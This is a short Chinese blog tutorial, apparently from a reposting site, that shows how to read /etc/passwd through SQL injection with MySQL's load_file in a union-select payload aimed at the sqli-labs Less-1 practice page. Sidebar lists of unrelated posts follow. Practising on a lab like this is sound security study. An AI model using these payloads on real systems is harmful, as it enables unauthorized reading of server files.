当前位置:网站首页>SQL 注入读写文件
SQL 注入读写文件
2022-06-12 06:18:00 【Cwillchris】
1、 SQL 注入读取/etc/passwd 文件
在 MySQL 中读取文件,使用 load_file("文件路径/名称")
MariaDB [security]> select * from users where id=-1 union select 1,load_file("/etc/passwd"),3\G;

访问到 Less-1 页面:
http://192.168.98.66/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3--+

使用 union 联合查询,在可输出位置执行 load_file 函数来读取文件
边栏推荐
- 相机图像质量概述
- User login [next]
- Leetcode-1705. Maximum number of apples to eat
- (UE4 4.27) add globalshder to the plug-in
- Using hidden Markov model to mark part of speech
- Leetcode sword finger offer II 119 Longest continuous sequence
- Why doesn't the database use binary tree, red black tree, B tree and hash table? Instead, a b+ tree is used
- Word vector training based on nnlm
- Unity surface shader with template buffer
- n次贝塞尔曲线
猜你喜欢

Information content security experiment of Harbin Institute of Technology

Getting started with houdininengine HDA and UE4

夜神模拟器adb查看log

Leetcode-1706. Where does the club fall

Houdini script vex learning

Poisson disk sampling for procedural placement

2D human pose estimation for pose estimation - pifpaf:composite fields for human pose estimation

Word2Vec

Guns framework multi data source configuration without modifying the configuration file

Univariate linear regression model
随机推荐
JS variable scope
Simple spiral ladder generation for Houdini program modeling
About why GPU early-z reduces overdraw
Logistic regression model
(UE4 4.27) customize primitivecomponent
Information content security experiment of Harbin Institute of Technology
Leetcode-1552. Magnetic force between two balls
MLP sensor
. Net core and Net framework comparison
哈工大信息内容安全实验
Leetcode-1043. Separate arrays for maximum sum
Unity C script implements AES encryption and decryption
Idea common configuration
EBook editing and deleting
How do I get the date and time from the Internet- How to get DateTime from the internet?
n次贝塞尔曲线
The vs 2019 community version Microsoft account cannot be logged in and activated offline
Sensor bringup 中的一些问题总结
关于 Sensor flicker/banding现象的解释
Leetcode sword finger offer II 033 Modified phrase